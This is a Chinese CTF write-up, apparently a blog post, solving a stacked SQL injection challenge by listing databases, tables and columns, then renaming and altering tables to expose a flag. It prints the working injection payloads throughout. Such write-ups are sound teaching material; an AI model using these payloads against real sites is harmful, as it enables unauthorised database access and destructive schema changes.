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题目：打开后如下，比较典型的一道sql注入题目

输入select,发现一些关键词被ban了，

输入1;  发现会返回一些数据，所以可以尝试一下堆叠注入。

堆叠注入：试一下,查询数据库

1';show databases;# 

     发现可以将数据库都显示出来，说明可行

https://blog.csdn.net/RABCDXB
https://blog.csdn.net/rabcdxb/category_10445577.html
https://so.csdn.net/so/search/s.do?q=mysql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=Web&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/RABCDXB/article/details/111375167
https://blog.csdn.net/rabcdxb/category_10445577.html


再试试查询表，回显两个表

1';show tables;#    查询所有表

 

然后继续访问表中的列

1';show columns from words;
1';show columns from `1919810931114514`;#    (数字字符串为表名操作时要加反引号)

这时看到了flag在1919810931114514表中

我们每次查询的时候，其实都查询了一个id=1；回显



 

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表，因为words表结构是id和data，传
入的inject参数也就是赋值给了id，所以查询id=1的情况，所以默认表是words

思路思路：修改两个表的名字，同时修改flag字断为id字段

 

这道题没有禁用rename和alert，所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1，再
将数字名表改为words，这样数字名表就是默认查询的表了，但是它少了一个id列，可以将flag字段改为id，或者
添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

 这段代码的意思是将words表名改为words1，1919810931114514表名改为words，将现在的words表中的flag
列名改为id 然后用1' or 1=1 #得到flag。

 

这个题目与之前写的攻防世界里的supersqli基本一致。

攻防世界 进阶篇小结supersqli
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